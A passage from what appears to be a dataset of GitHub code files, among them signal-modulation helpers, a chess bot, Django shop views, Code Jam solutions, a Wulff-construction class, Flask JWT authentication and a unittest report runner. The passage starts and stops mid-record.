for i in range(M_bit)]\n\n d_PBCH = sym_qpsk(b_)\n return d_PBCH\n\n\ndef sym_qpsk(b: Union[np.ndarray, list]) -> np.ndarray:\n \"\"\"Modulate a list of bits with QPSK as per\n\n TS 38.211 V16.2.0 (2020-07) 5.1.3\n\n Args:\n b (Union[np.ndarray, list]): List of bits to QPSK-modulate\n\n Returns:\n np.ndarray: List of bits\n \"\"\"\n\n return np.array(\n [(1-2*b[2*i]+1j*(1-2*b[2*i+1]))/np.sqrt(2) for i in range(len(b)//2)],\n dtype=complex)\n\n\ndef inv_sym_qpsk(c: Union[np.ndarray, list]) -> np.ndarray:\n \"\"\"Demodulate a list of bits with QPSK as per\n\n TS 38.211 V16.2.0 (2020-07) 5.1.3\n\n Args:\n b (Union[np.ndarray, list]): List of QPSK-symbols to demodulate\n Returns:\n np.ndarray:\n \"\"\"\n\n c = np.array(c, dtype=complex).flatten() # weird python type error in gr\n if not len(c) % 2 == 0:\n c.resize(len(c)+1)\n b_ = np.array(\n [[int(np.round(np.real(i)*np.sqrt(2))), int(np.round(np.imag(i)*np.sqrt(2)))] for i in c], dtype=int\n ).flatten()\n return np.array([(1-b_i)//2 for b_i in b_], dtype=int)\n\ndef bpsk(b: Union[np.ndarray, list]) -> np.ndarray:\n b = np.array(b, dtype=complex).flatten() # weird python type error in gr\n return np.array([1/np.sqrt(2) * ((1-2*b_i)+1j*(1-2*b_i)) for b_i in b])\n\ndef inv_bpsk(b: Union[np.ndarray, list]) -> np.ndarray:\n return np.array([np.abs(bpsk([0,1]) - b_i).argmin() for b_i in b])\n","repo_name":"markdisterhof/nrphypy","sub_path":"nrphypy/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":5633,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"19209111293","text":"class Player:\r\n\r\n myPieces = []\r\n oponentsPieces = []\r\n\r\n def __init__(self, chessboard, color):\r\n self.cb = chessboard\r\n self.color = color\r\n \r\n\r\n def updatePieces(self):\r\n self.myPieces = []\r\n self.oponentsPieces = []\r\n for pieces in self.cb.pieces:\r\n if pieces.color == self.color and pieces.isActive:\r\n self.myPieces.append(pieces)\r\n if pieces.color != self.color and pieces.isActive:\r\n self.oponentsPieces.append(pieces)\r\n \r\n\r\n def returnRandomPieceName(self):\r\n import random\r\n\r\n randomIndex = random.randint(0, len(self.myPieces)-1)\r\n return self.myPieces[randomIndex].name\r\n \r\n\r\n def randomValidMove(self, piece_name):\r\n import random\r\n move = [\"NNN\", -1, -1]\r\n \r\n piece = self.cb.returnPieceByName(piece_name)\r\n validFields = piece.returnValidFields(self.cb)\r\n\r\n if len(validFields) == 0:\r\n return move\r\n \r\n randomIndex = random.randint(0,len(validFields)-1)\r\n move[0] = piece.name\r\n move[1] = validFields[randomIndex][0]\r\n move[2] = validFields[randomIndex][1]\r\n return move\r\n\r\n\r\n def attackIfPossible(self, pieceName):\r\n piece = self.cb.returnPieceByName(pieceName)\r\n\r\n validFields = piece.returnValidFields(self.cb)\r\n for field in validFields:\r\n if self.cb.isEnemyOnTheField(field[0], field[1], piece.color):\r\n return [pieceName, field[0], field[1]]\r\n return self.randomValidMove(pieceName)\r\n\r\n\r\n def doMove(self):\r\n self.updatePieces()\r\n\r\n # check if King is endangered\r\n if self.color == \"Black\":\r\n king = self.cb.returnPieceByName(\"BKK\")\r\n else:\r\n king = self.cb.returnPieceByName(\"WKK\")\r\n \r\n if not self.cb.isFieldSafe(king.x_position, king.y_position, king.color):\r\n print(\"king has to move\")\r\n \r\n bestAttackPossible = self.bestAttackPossible()\r\n if bestAttackPossible[0] == 'NNN':\r\n while True:\r\n pieceName = self.returnRandomPieceName()\r\n #print(pieceName)\r\n bestAttackPossible = self.randomValidMove(pieceName)\r\n if bestAttackPossible[0] != 'NNN':\r\n break\r\n #else:\r\n #print(\"No valid moves for {}\".format(pieceName))\r\n return bestAttackPossible\r\n\r\n\r\n def bestAttackPossible(self):\r\n bestAttackerSoFar = 'NNN'\r\n bestVictimSoFarX = -1\r\n bestVictimSoFarY = -1\r\n bestVictimsValue = -1\r\n\r\n for attacker in self.myPieces:\r\n for victim in self.oponentsPieces:\r\n if self.cb.canAttack(attacker.name, victim.name):\r\n if victim.value > bestVictimsValue:\r\n bestAttackerSoFar = attacker.name\r\n bestVictimSoFarX = victim.x_position\r\n bestVictimSoFarY = victim.y_position\r\n bestVictimsValue = victim.value\r\n return [bestAttackerSoFar, bestVictimSoFarX, bestVictimSoFarY]\r\n\r\n\r\n","repo_name":"mabatko/python-chess","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70721746116","text":"from django.shortcuts import render, redirect\nfrom store.models import Product\nfrom orders.models import OrderProduct\nfrom django.utils.translation import activate\nfrom store.forms import ReviewForm\nfrom store.models import ReviewRating\nfrom accounts.models import UserApi\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate\nfrom django.db.models import Avg\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\n\nfrom .forms import ContactForm\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.core.mail import BadHeaderError, EmailMessage\nfrom django.template.loader import render_to_string\nfrom django.db.models import Q\n\nactivate('sk')\n\ndef home(request):\n products = Product.objects.all().filter(is_available=True)\n\n reviews = None\n\n # check if customer odred anithing to white review\n if request.user.is_authenticated:\n try:\n orderproduct = OrderProduct.objects.filter(user=request.user, ordered=True).exists()\n except OrderProduct.DoesNotExist:\n orderproduct = None\n else:\n orderproduct = None\n reviews = ReviewRating.objects.filter(status=True)\n # average rating calculation\n averagereviews = ReviewRating.objects.filter(status=True, parent_id=None).aggregate(average=Avg('rating'))\n if averagereviews['average'] is not None:\n avg = float(averagereviews['average'])\n # visits on page\n def get_ip(request):\n address = request.META.get('HTTP_X_FORWARDED_FOR')\n if address:\n ip = address.split(',')[-1].strip()\n else:\n ip = request.META.get('REMOTE_ADDR')\n return ip\n ip = get_ip(request)\n u = UserApi(user=ip)\n result = UserApi.objects.filter(Q(user__icontains=ip))\n if len(result)==1:\n pass\n elif len(result)>1:\n pass\n else:\n u.save()\n num_visits = UserApi.objects.all().count()\n\n\n\n context = {\n 'products': products,\n 'orderproduct': orderproduct,\n 'reviews': reviews,\n 'avg': avg,\n 'num_visits': num_visits,\n }\n return render(request, \"home.html\", context)\n\n\n averagereviews = ReviewRating.objects.filter(status=True, parent=None).agrigate(average=Avg('rating'))\n avg = 0\n if averagereviews['average'] is not None:\n avg = float(reviews['average'])\n return avg\n\n# def visits(request):\n# num_visits = request.session.get('num_visits', 0)\n# request.session['num_visits'] = num_visits + 1\n# return num_visits\n\n\n\ndef rules(request):\n return render(request, \"rules.html\")\n\n\ndef submit_review(request):\n if request.method == \"POST\":\n # try:\n # reviews = ReviewRating.objects.get(user__id=request.user.id)\n # form = ReviewForm(request.POST, instance=reviews)\n # form.save()\n # messages.success(request, 'Ďakujem za Vaše!')\n # return redirect('home')\n # except ReviewRating.DoesNotExist:\n form = ReviewForm(request.POST)\n if form.is_valid():\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = ReviewRating.objects.filter(id=parent_id)\n if parent_qs.exists() and parent_qs.count() == 1:\n parent_obj = parent_qs.first()\n data = ReviewRating()\n try:\n data.subject = form.cleaned_data['subject']\n except:\n data.subject = None\n try:\n data.rating = form.cleaned_data['rating']\n except:\n data.rating = None\n data.review = form.cleaned_data['review']\n data.ip = request.META.get('REMOTE_ADDR')\n data.user_id = request.user.id\n data.parent = parent_obj\n data.save()\n messages.success(request, 'Ďakujem za Vaše hodnotenie!')\n return redirect('home')\n\n\n\ndef company(request):\n return render(request, \"company.html\")\n\n\ndef contact(request):\n if request.method == 'GET':\n form = ContactForm()\n if request.method == \"POST\":\n form = ContactForm(request.POST)\n if form.is_valid():\n mail_subject = form.cleaned_data['subject']\n from_email = form.cleaned_data['from_email']\n messagetext = form.cleaned_data['message']\n message = render_to_string('accounts/contact_email.html', {\n 'from_email': from_email,\n 'messagetext': messagetext,\n })\n to_email = 'anastasiagamaley@gmail.com'\n send_email = EmailMessage(mail_subject, message, to=[to_email])\n try:\n send_email.send()\n except BadHeaderError:\n return HttpResponse('Vyplnite vsetky polia')\n messages.success(request, 'Vas email bol odoslaný')\n return render(request, \"contact.html\", {'form': form})\n else:\n return render(request, \"contact.html\", {'form': form})\n\n\n\ndef dtf(request):\n return render(request, \"dtf.html\")\n\ndef policy(request):\n return render(request, 'policy.html')\n","repo_name":"anastasiagamaley/online_shop","sub_path":"online_shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23592982901","text":"MAX=10000;\r\n\r\ndef sink(T,B,i,j):\r\n P=[(i,j)];\r\n i+=1;\r\n j+=1;\r\n while True:\r\n if B[i-1][j-1]!='':\r\n return P,B[i-1][j-1];\r\n m=min(T[i][j],T[i-1][j],T[i+1][j],T[i][j-1],T[i][j+1]);\r\n if T[i][j]==m:\r\n return P,'';\r\n else:\r\n if T[i-1][j]==m:\r\n i-=1;\r\n elif T[i][j-1]==m:\r\n j-=1;\r\n elif T[i][j+1]==m:\r\n j+=1;\r\n elif T[i+1][j]==m:\r\n i+=1;\r\n P.append((i-1,j-1));\r\n\r\nfin=open('in.txt');\r\nfout=open('out.txt','w');\r\n\r\nfor n in range(int(fin.readline())):\r\n (H,W)=(int(t) for t in fin.readline().split());\r\n T=[[MAX]*(W+2)];\r\n for i in range(H):\r\n T.append([MAX]+[int(t) for t in fin.readline().split()]+[MAX]);\r\n T.append([MAX]*(W+2));\r\n\r\n B=[['' for i in range(W)] for j in range(H)];\r\n s0='a';\r\n for i in range(H):\r\n for j in range(W):\r\n [P,s]=sink(T,B,i,j);\r\n if s=='':\r\n s=chr(ord(s0));\r\n s0=chr(ord(s0)+1);\r\n for p in P:\r\n B[p[0]][p[1]]=s;\r\n\r\n fout.write(str.format('Case #{}:\\n',n+1));\r\n for l in B:\r\n fout.write(' '.join(l)+'\\n');\r\n\r\nfout.close();\r\nfin.close();\r\n \r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_35/145.py","file_name":"145.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33496438420","text":"\"\"\"\nDescription\n==============\nGiven a string containing just the characters '(', ')', '{', '}', '[' and ']', determine if the input string is valid.\nThe brackets must close in the correct order, \"()\" and \"()[]{}\" are all valid but \"(]\" and \"([)]\" are not.\n\nApproach\n_____________\nStack\n+++++++++++\nLoop through the the string\n1. when see a '(' or .. ,\n append to stack\n2. when see a cur = ')'. .,\n a. if stack is empty\n return false\n\n b. if match (stack.top(), cur)\n stack.pop()\n c. else:\n stack.append(cur)\n\n\nComplexity\n_____________\n\nTime\nO(N)\nSpace\nO(N)\n\"\"\"\n\n\"\"\"\nStack approach\n\"\"\"\n \n\nclass Solution(object):\n\n def isValid(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n a = ['(', '{', '[']\n b = [')', '}', ']']\n from collections import deque\n stack = deque()\n for i in s:\n if i in b:\n if len(stack) == 0:\n return False\n elif self.isMatch(stack[-1], i, a, b):\n stack.pop()\n else:\n stack.append(i)\n else:\n stack.append(i)\n return len(stack) == 0\n\n def isMatch(self, s1, s2, a, b):\n if s1 in a:\n return a.index(s1) == b.index(s2)\n else:\n return False\n","repo_name":"ZhengyangXu/Classified","sub_path":"8.Data_Structure/8.16_L20_Valid_Parentheses.py","file_name":"8.16_L20_Valid_Parentheses.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42000666294","text":"\r\nimport p4 as game\r\nimport player as pl\r\n\r\nNB_STEP = 2\r\npopulation = 10\r\n\r\n\r\n\r\n# --------------------------------------\r\n# AI ML\r\n# --------------------------------------\r\n\r\nclass AI_ml(pl.AI_plus):\r\n\r\n\tdef __init__(self, name, piece):\r\n\t\tpl.AI_plus.__init__(self, name, piece)\r\n\t\t\r\n\t\tself.ais = []\r\n\t\tself.init()\r\n\r\n\tdef init(self):\r\n\t\t# create all the AIs\r\n\t\tfor _ in range(population):\r\n\t\t\tself.ais.append(pl.AI_plus(self.name, self.piece))\r\n\r\n\tdef play(self):\r\n\t\tpass\r\n\r\n# --------------------------------------\r\n# ML opponent\r\n# --------------------------------------\r\n\r\nclass opponent(pl.AI_plus):\r\n\r\n\tdef __init__(self, name, piece):\r\n\t\tpl.AI_plus.__init__(self, name, piece)\r\n\r\n\t\tself.history = []\r\n\r\n\r\n\r\n\r\ndef play():\r\n\tplayer_a = AI_ml('MFD', 'O')\r\n\tplayer_b = opponent('INS', 'X')\r\n\t\r\n\tend_of_game = False\r\n\tgame_history = []\r\n\r\n\twhile(not end_of_game):\r\n\t\tend_of_game = game.round(player_a, player_b, game_history)\r\n","repo_name":"Manfred-Madelaine-pro/connect-four-ai","sub_path":"ml.py","file_name":"ml.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7225137217","text":"###############################\n#\n# This file is written by Vladan Stevanovic\n#\n###############################\n\nclass Wulff():\n '''\n Class to construct Wulff shape and compute various other\n relevant quantities given the crystal structure\n and surface energies\n \n data: \n Dictionary that contains Miller indices and\n associated surface energies in meV/A^2 \n (it will work if you provide sym inequivalent only)\n\n structure:\n Pylada stucture object containing the bulk structure \n whose surface energies have been computed\n\n end_volume: default=1000. unit cells\n Volume that you would like the resulting grain to have\n '''\n \n def __init__(self,data=None,structure=None,end_volume=1000.):\n \n from pylada.crystal import read\n import numpy as np\n import spglib\n from toolbox.format_spglib import to_spglib\n\n #### Read input files\n\n self.data = data\n self.bulk = structure\n\n #### Setting up various variables\n\n self.dir_cell=np.transpose(self.bulk.cell)\n self.rec_cell=2*np.pi*np.transpose(np.linalg.inv(self.dir_cell))\n\n self.cryst_syms=spglib.get_symmetry(to_spglib(self.bulk),symprec=0.1)['rotations']\n self.cart_syms=[np.dot(self.dir_cell.T, np.dot(sym,np.linalg.inv(self.dir_cell.T)) ) for sym in self.cryst_syms]\n self.rcryst_syms=[np.dot(np.linalg.inv(self.rec_cell.T), np.dot(csym,self.rec_cell.T) ) for csym in self.cart_syms]\n \n self.end_volume=end_volume\n \n return\n\n ####\n # Function to not include duplicates in the star of v=np.dot(sym,(hkl))\n def in_star(self,vector,star):\n\n import numpy as np\n \n if len(star)==0:\n return False\n else:\n dd=[np.linalg.norm(vector-vv)<1e-5 for vv in star]\n\n if any(dd):\n return True\n else:\n return False\n\n ####\n # Function to assign surface energies to all hkl\n # not only the symmettry inequivalent ones\n \n def expand_surf_en(self):\n\n import numpy as np\n \n all_surf_en={}\n \n for key in self.data.keys():\n hkl=np.array(key.split(),dtype=int)\n \n star=[]\n for sym in self.rcryst_syms:\n vrot=np.dot(sym,hkl)\n if not self.in_star(vrot,star):\n star.append(np.round(vrot,1))\n\n # Now, creating a dictionary with all hkl\n # as keys and cartesian vectors with their norms\n # equal to surface energy\n for ss in star:\n surf_en=self.data[key]\n pom=np.dot(self.rec_cell.T,ss)\n surf_en_vect=pom/np.linalg.norm(pom)*surf_en\n ss_hkl=str(ss)[1:-1]\n \n # Add to the dictionary\n all_surf_en[ss_hkl]=list(surf_en_vect)\n\n self.all_surf_en=all_surf_en\n \n return \n\n ###\n # This was all preparation for the Wulff construction\n # Now, comes the Wulff construction\n\n def wulff_construct(self):\n \n from scipy.spatial import Voronoi, ConvexHull\n import numpy as np\n\n self.expand_surf_en()\n\n # First some cleaning so that we can follow what is going on (hopefully)\n \n gamma_n = list(self.all_surf_en.items())\n\n # Add the Gamma point as that is the one around which we will\n # draw the Voronoi region\n gamma_n.insert(0,['Gamma', np.array([0., 0., 0.])])\n\n ############### EXTRACT THE VORONOI REGION AROUND THE GAMMA POINT\n\n gamma_n_hlp=np.array([x[1] for x in gamma_n])\n \n ## Creating a Voronoi object\n voronoi=Voronoi(gamma_n_hlp) \n \n ## Finding the index of the origin (Gamma) point\n norms = [np.linalg.norm(x) for x in gamma_n_hlp]\n gamma_index = norms.index(0.)\n\n ## Getting all the vertices for all Voronoi shapes in Cart. coordinates\n verts = voronoi.vertices\n \n ## Getting the indices of the Voronoi region vertices around Gamma\n reg_indices = voronoi.regions[voronoi.point_region[gamma_index]]\n \n ## Extracting the Cart. coordinates of the vertices \n ## belonging to the Voronoi region around Gamma (IBZ)\n reg = np.array([verts[ii] for ii in reg_indices])\n\n # Now compute the scale so that the output\n # matches desired end_volume\n if self.end_volume!=None:\n hull=ConvexHull(reg)\n volume=hull.volume\n scale=(self.bulk.volume*self.bulk.scale**3*self.end_volume/volume)**(1./3)\n else:\n scale=1.\n \n ## Get the faces of the IBZ (Cart. coordinates of the corners)\n ridges_indices=[]\n\n for key in voronoi.ridge_vertices:\n if all([x in reg_indices for x in key]):\n ridges_indices.append(key) \n\n faces=[]\n \n for rdg in ridges_indices:\n faces.append([verts[ii]*scale for ii in rdg])\n \n return reg*scale,faces\n\n ####\n # Get the Miller indices, area, and the total surface\n # energy of a given face\n\n def get_face_info(self,face,miller_bounds=3):\n\n import numpy as np\n from itertools import product\n from copy import deepcopy\n from scipy.spatial import ConvexHull\n \n assert hasattr(self,'all_surf_en'), \"Run the wulff.wulff_construct() first\"\n \n # make it a np.array\n face=np.array(face)\n\n # center of mass\n cm=np.sum(face,axis=0)/len(face)\n\n # move the origin to the cm\n face=face-cm\n \n # Check are all cross products colinear\n norms=[np.cross(face[ii],face[jj])\\\n for ii in range(len(face))\\\n for jj in range(len(face)) if jj>ii]\n\n norms=[x for x in norms if np.linalg.norm(x)>1e-5]\n\n assert len(norms)>0, \"There are very small faces, increase the end_volume\"\n \n norms=np.array([nn/np.linalg.norm(nn) for nn in norms])\n\n check=np.array([np.cross(norms[ii],norms[jj])\\\n for ii in range(len(norms))\\\n for jj in range(len(norms)) if jj>ii]).flatten()\n\n assert all([x<1e-5 for x in check]), \"Face is not flat\"\n\n # Pick norms[0] (cross product between face[0] and face[1])\n # as the new z axis (verts are ordered counter clock, so...)\n # and the face[0] as the new x\n \n newz=norms[0]\n\n # Orient out just in case it is not already\n if np.dot(cm,newz)/np.linalg.norm(cm)<0.:\n newz=-newz\n \n newx=face[0]/np.linalg.norm(face[0])\n newy=np.cross(newz,newx)\n\n # Now get the Miller indices of the face\n for hkl_run,gamma in self.all_surf_en.items():\n\n projection=np.dot(gamma,newz)/np.linalg.norm(gamma)\n #print(hkl_run,projection)\n \n if 0.999 []\")\n exit()\n\ninput_file = open(argv[1])\n\noutput_file = None\nif len(argv) >= 3:\n output_file = open(argv[2], 'w')\n\nn = int(input_file.readline())\n\ni = 1\nwhile i <= n:\n (N, K, B, T) = map(int, input_file.readline().split(\" \"))\n \n pos = map(int, input_file.readline().split(\" \"))\n vels = map(int, input_file.readline().split(\" \"))\n fast = [True]*N\n \n for chick in range(N-1, -1, -1):\n if vels[chick] * T < B - pos[chick]:\n fast[chick] = False\n if sum(fast) < K:\n res = \"IMPOSSIBLE\"\n else:\n res = 0\n for chick in range(N-1, -1, -1):\n if not fast[chick]:\n continue\n for obstacle in range(N-1, chick, -1):\n if not fast[obstacle]:\n res += 1\n K -= 1\n if K == 0:\n break\n \n res = 'Case #' + str(i) + ': ' + str(res)\n print(res)\n if output_file is not None:\n output_file.write(res + '\\n')\n i += 1\n\ninput_file.close()\nif output_file is not None:\n output_file.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_60/69.py","file_name":"69.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70856475075","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 20 17:55:08 2021\n\n@author: Paolo Cozzi \n\"\"\"\n\nimport json\nimport datetime\n\nfrom flask import Response, request\nfrom flask_jwt_extended import create_access_token\nfrom flask_restful import Resource\nfrom mongoengine.errors import FieldDoesNotExist, NotUniqueError, DoesNotExist\n\nfrom database.models import User\nfrom resources.errors import (\n SchemaValidationError, EmailAlreadyExistsError, UnauthorizedError,\n InternalServerError)\n\n\nclass SignupApi(Resource):\n def post(self):\n try:\n body = request.get_json()\n user = User(**body)\n user.hash_password()\n user.save()\n id = user.id\n return {'id': str(id)}, 200\n\n except FieldDoesNotExist:\n raise SchemaValidationError\n\n except NotUniqueError:\n raise EmailAlreadyExistsError\n\n except Exception:\n raise InternalServerError\n\n\nclass LoginApi(Resource):\n def post(self):\n try:\n body = request.get_json()\n user = User.objects.get(email=body.get('email'))\n authorized = user.check_password(body.get('password'))\n if not authorized:\n raise UnauthorizedError\n\n expires = datetime.timedelta(days=7)\n access_token = create_access_token(\n identity=str(user.id),\n expires_delta=expires)\n\n return Response(\n json.dumps({'token': access_token}),\n mimetype=\"application/json\",\n status=200)\n\n except (UnauthorizedError, DoesNotExist):\n raise UnauthorizedError\n\n except Exception:\n raise InternalServerError\n","repo_name":"bunop/FLASKetude","sub_path":"resources/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11241925852","text":"'''\nAuthor: [lxp]\nDate: 2022-01-12 14:12:17\nLastEditors: [lxp]\nLastEditTime: 2022-01-12 19:20:59\nDescription: \n'''\n# user input\nannual_salary = float(input('Enter your annual salary: '))\nsemi_annual_raise = 0.07\nr = 0.04\nportion_down_payment = 0.25\ntotal_cost = 1000000\nsteps = 0\ncurrent_savings = 0\nlow = 0\nhigh = 10000\nguess_rate = (high + low)//2\n# Use a while loop since we check UNTIL something happens.\nwhile abs(current_savings - total_cost*portion_down_payment) >= 100:\n # Reset current_savings at the beginning of the loop\n current_savings = 0\n # Create a new variable for use within the for loop.\n for_annual_salary = annual_salary\n # convert guess_rate into a float\n rate = guess_rate/10000\n # Since we have a finite number of months, use a for loop to calculate\n # amount saved in that time.`enter code here`\n for month in range(36):\n # With indexing starting a zero, we need to calculate at the beginning\n # of the loop.\n if month % 6 == 0 and month > 0:\n for_annual_salary += for_annual_salary*semi_annual_raise\n # Set monthly_salary inside loop where annual_salary is modified\n monthly_salary = for_annual_salary/12\n # Calculate current savings\n current_savings += monthly_salary*rate+current_savings*r/12\n # The statement that makes this a bisection search\n if current_savings < total_cost*portion_down_payment:\n low = guess_rate\n else:\n high = guess_rate\n guess_rate = (high + low)//2\n steps += 1\n # The max amount of guesses needed is log base 2 of 10000 which is slightly\n # above 13. Once it gets to the 14th guess it breaks out of the while loop.\n if steps > 13:\n break\n\n# output\nif steps > 13:\n print('It is not possible to pay the down payment in three years.')\nelse:\n print('Best savings rate:', rate)\n print('Steps in bisection search:', steps)","repo_name":"SamLiu666/AI_for_learning","sub_path":"CS Course/2 Introduction to Computer Science and Programming in Python/Assignments/ps1/ps1c.py","file_name":"ps1c.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70379878276","text":"#Ha = 2 Hb = 6\n#Ha = 2*3 = 1way, addition, 2^2 + 2\n\n#Maximum ways to find out height\n\ninp = ['o',' ','m',' ','a',' ','ra']\nop= \"omara\"\nstr1 = \"2,2,0,7,9,6,0,0,0,9,1\"\nli = list(str1)\nc = 0\nfor i in range(0,len(li)):\n if li[i] == 0:\n li.remove(i)\n c += 1\n print(li)\n else:\n continue\nfor i in range(c):\n li.append(0)\n\nprint(li)\n \n\n\n\n\n\n\n\n\n\n","repo_name":"ara-dhanak/Python_sel_Projects","sub_path":"Codingdojo/height.py","file_name":"height.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38280705701","text":"class Node:\n\tdef __init__(self,data):\n\t\tself.data = data\n\t\tself.next = None\n\nclass Linkedlist:\n\tdef __init__(self):\n\t\tself.head = None\n\n\tdef insert(self, data):\n\t\tnew_node = Node(data)\n\t\t#new_node.data = data\n\t\tnew_node.next = self.head\n\t\tself.head = new_node\n\n\tdef search(self, item):\n\t\tcurr = self.head\n\t\twhile(curr):\n\t\t\tif curr.data == item:\n\t\t\t\treturn True\n\t\t\tcurr = curr.next\n\t\treturn False\n\n\tdef delete(self, item):\n\t\tcurr = self.head\n\t\tif self.head.data == item:\n\t\t\ttemp = self.head\n\t\t\tself.head = self.head.next\n\t\t\ttemp.next = None\n\t\twhile(curr != None and curr.next != None):\n\t\t\tif curr.next.data == item:\n\t\t\t\tprint(\"Item deleted\")\n\t\t\t\tcurr.next = curr.next.next\n\t\t\tcurr = curr.next\n\t\t\t\n\t\n\tdef printll(self):\n\t\tcurr = self.head\n\t\twhile(curr):\n\t\t\tprint(curr.data)\n\t\t\tcurr = curr.next\n\n\n\"\"\"ll = Linkedlist()\nll.insert(4)\nll.insert(1)\nll.insert(20)\nll.insert(12)\n\nser = ll.search(21)\nprint(ser)\n\ndel1 = ll.delete(20)\nprint(del1)\n\nll.printll()\"\"\"\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"RutujaTikare13/Python-Programs","sub_path":"linkedlist.py","file_name":"linkedlist.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28401570347","text":"\"\"\"\n============================\nAuthor:柠檬班-木森\nTime:2020/7/7 14:47\nE-mail:3247119728@qq.com\nCompany:湖南零檬信息技术有限公司\n============================\n\n本模块主要是为了解决多线程运行unittest测试用例的问题\n该模块预留了两个入口,\n\n注意点:\n使用起来非常简单,只需要调用TestRunner的run方法即可执行测试用例,运行的时候可通过参数指定开启的线程数量\n\n\"\"\"\nimport os\nimport unittest\nimport time\nfrom concurrent.futures.thread import ThreadPoolExecutor\n\nfrom unittestreport.core.sendEmail import SendEmail\nfrom unittestreport.core.testResult import TestResult, ReRunResult\nfrom jinja2 import Environment, FileSystemLoader\n\n\nclass TestRunner():\n \"\"\"unittest运行程序\"\"\"\n\n def __init__(self, suite: unittest.TestSuite,\n filename=\"report.html\",\n report_dir=\".\",\n title='测试报告',\n tester='木森',\n desc=\"XX项目测试生产的报告\",\n templates=1\n ):\n \"\"\"\n 初始化用例运行程序\n :param suites: 测试套件\n :param filename: 报告文件名\n :param report_dir:报告文件的路径\n :param title:测试套件标题\n :param templates: 可以通过参数值1或者2,指定报告的样式模板,目前只有两个模板\n :param tester:测试者\n \"\"\"\n if not isinstance(suite, unittest.TestSuite):\n raise TypeError(\"suites 不是测试套件\")\n if not isinstance(filename, str):\n raise TypeError(\"filename is not str\")\n if not filename.endswith(\".html\"):\n filename = filename + \".html\"\n self.suite = suite\n self.filename = filename\n self.title = title\n self.tester = tester\n self.desc = desc\n self.templates = templates\n self.report_dir = report_dir\n self.result = []\n self.starttime = time.time()\n\n def classification_suite(self):\n \"\"\"\n 将测试套件中的用例,根据用例类位单位,拆分成多个测试套件,打包成列表类型\n :return: list-->[suite,suite,suite.....]\n \"\"\"\n suites_list = []\n\n def wrapper(suite):\n for item in suite:\n if isinstance(item, unittest.TestCase):\n suites_list.append(suite)\n break\n else:\n wrapper(item)\n\n wrapper(self.suite)\n return suites_list\n\n def classification_test_case(self):\n \"\"\"\n 将测试套件中的用例进行拆分,保存到列表中\n :return: list-->[case,case]\n \"\"\"\n test_list = []\n\n def wrapper(suite):\n for item in suite:\n if isinstance(item, unittest.TestCase):\n test_list.append(item)\n else:\n wrapper(item)\n\n wrapper(self.suite)\n return test_list\n\n def run(self, thread_count=1, exec_unit=\"class\"):\n \"\"\"\n 支持多线程执行\n 注意点:如果多个测试类共用某一个全局变量,由于资源竞争可能回出现错误\n :param thread_count:线程数量,默认位1\n :param exec_unit: case ro class\n case: 以测试用例为单位开启多线程运行,不能保证用例执行的顺序问题\n class:以用例类为单位开启多线程运行,可以保证用例类中的用例执行的顺序问题\n :return:\n \"\"\"\n if exec_unit == \"case\":\n # 将测试套件按照用例进行拆分\n suites = self.classification_test_case()\n else:\n # 将测试套件按照用例类进行拆分\n suites = self.classification_suite()\n with ThreadPoolExecutor(max_workers=thread_count) as ts:\n for i in suites:\n res = TestResult()\n self.result.append(res)\n ts.submit(i.run, result=res).add_done_callback(res.stopTestRun)\n ts.shutdown(wait=True)\n\n self.get_reports()\n\n def rerun_run(self, count=0, interval=2):\n \"\"\"\n 测试用例失败、错误重跑机制\n :param count: 重跑次数,默认为0\n :param interval: 重跑时间间隔,默认为2\n :return:\n \"\"\"\n res = ReRunResult(count=count, interval=interval)\n self.result.append(res)\n suites = self.classification_test_case()\n for case in suites:\n case.run(res)\n res.stopTestRun()\n self.get_reports()\n\n def get_reports(self):\n \"\"\"生成报告\"\"\"\n print(\"所有用例执行完毕,正在生成测试报告中......\")\n # 汇总测试结果\n test_result = {\n \"success\": 0,\n \"all\": 0,\n \"fail\": 0,\n \"skip\": 0,\n \"error\": 0,\n \"results\": [],\n \"testClass\": [],\n }\n # 整合测试结果\n for res in self.result:\n for item in test_result:\n test_result[item] += res.fields[item]\n\n test_result['runtime'] = '{:.2f} S'.format(time.time() - self.starttime)\n test_result[\"begin_time\"] = time.strftime(\"%Y-%m-%d %H:%M:%S\", 